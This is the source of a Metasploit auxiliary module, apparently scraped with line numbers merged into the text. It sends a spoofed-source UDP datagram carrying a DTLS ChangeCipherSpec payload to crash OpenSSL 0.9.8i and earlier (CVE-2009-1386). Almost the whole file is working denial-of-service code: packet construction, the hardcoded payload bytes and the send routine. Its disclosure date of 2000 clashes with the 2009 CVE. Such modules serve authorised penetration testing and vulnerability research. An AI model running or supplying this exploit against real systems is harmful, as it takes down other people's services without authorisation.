Path: blob/master/modules/auxiliary/dos/ssl/dtls_changecipherspec.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Msf::Exploit::Capture89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OpenSSL DTLS ChangeCipherSpec Remote DoS',14'Description' => %q{15This module performs a Denial of Service Attack against Datagram TLS in OpenSSL16version 0.9.8i and earlier. OpenSSL crashes under these versions when it receives a17ChangeCipherspec Datagram before a ClientHello.18},19'Author' => [20'Jon Oberheide <jon[at]oberheide.org>', # original code21'theLightCosine' # metasploit module22],23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2009-1386' ],26[ 'OSVDB', '55073'],27],28'DisclosureDate' => '2000-04-26',29'Notes' => {30'Stability' => [CRASH_SERVICE_DOWN],31'SideEffects' => [],32'Reliability' => []33}34)35)3637register_options([38Opt::RPORT(80)39])4041deregister_options('FILTER', 'PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')42end4344def run45open_pcap46print_status('Creating DTLS ChangeCipherSpec Datagram...')47p = PacketFu::UDPPacket.new48p.ip_daddr = datastore['RHOST']49p.ip_src = rand(0x100000000)50p.ip_ttl = 4451p.udp_sport = 3406052p.udp_dport = datastore['RPORT'].to_i53p.payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"54p.recalc55print_status('Sending Datagram to target...')56capture_sendto(p, '255.255.255.255')57close_pcap58end59end606162